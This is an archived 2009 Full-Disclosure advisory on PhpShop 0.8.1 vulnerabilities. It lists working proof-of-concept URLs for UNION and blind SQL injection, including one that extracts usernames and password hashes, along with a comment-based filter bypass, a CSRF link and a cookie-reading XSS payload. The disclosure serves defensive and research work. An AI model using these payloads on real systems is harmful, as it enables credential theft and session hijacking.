full-disclosure - PhpShop Multiple Vulnerabilities

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite for Android: free password hash cracker in your pocket

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <900ea070912051038p363b0ff5n192b208213718356@mail.gmail.com>
Date: Sat, 5 Dec 2009 19:38:26 +0100
From: Andrea Fabrizi <andrea.fabrizi@...il.com>
To: websecurity@...appsec.org, bugtraq@...urityfocus.com, 
	webappsec@...urityfocus.com, full-disclosure@...ts.grok.org.uk
Subject: PhpShop Multiple Vulnerabilities

**************************************************************
Application: PhpShop
Version affected:  0.8.1
Website: http://www.phpshop.org/
Discovered By: Andrea Fabrizi
Email: andrea.fabrizi@...il.com
Web: http://www.andreafabrizi.it
Vuln: Multiple Vulnerabilities
**************************************************************


### SQL INJECTION
http://localhost/phpshop-0.8.1/?page=admin/function_list&module_id=111111'
union select 1,database(),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 -- aaa
http://localhost/phpshop-0.8.1/?page=shop/flypage&product_id=1011'/**/union/**/select/**/1,1,1,1,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,username/**/from/**/auth_user_md5--
aaa
http://localhost/phpshop-0.8.1/?page=vendor/vendor_form&vendor_id=1' and
'1'='1
http://localhost/phpshop-0.8.1/?page=admin/module_form&module_id=1' and
'1'='1
http://localhost/phpshop-0.8.1/?page=admin/user_form&user_id=7322f75cc7ba16db1799fd8d25dbcde4'
and '1'='1
http://localhost/phpshop-0.8.1/?page=vendor/vendor_category_form&vendor_category_id=6'
and '1'='1
http://localhost/phpshop-0.8.1/?page=store/user_form&user_id=c88ce1c0ad365513d6fe085a8aacaebc'
and '1'='1
http://localhost/phpshop-0.8.1/?page=store/payment_method_form&payment_method_id=1'
and '1'='1
http://localhost/phpshop-0.8.1/?page=tax/tax_form&tax_rate_id=2' and '1'='1
...and many others...

The SQL Injection security check can be bypassed replacing spaces with
comments (/**/)

### BLIND SQL INJECTION
http://localhost/phpshop-0.8.1/?page=shop/browse&category=aaa' and 1=1 --
aaa


### CSRF
http://localhost/phpshop-0.8.1/?page=shop/cart&func=cartAdd&product_id=321&
...and many others...


### XSS
http://localhost/phpshop-0.8.1/?page=order/order_print&order_id=1
"><script>alert(document.cookie);</script>
...and many others...

Content of type "text/html" skipped

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/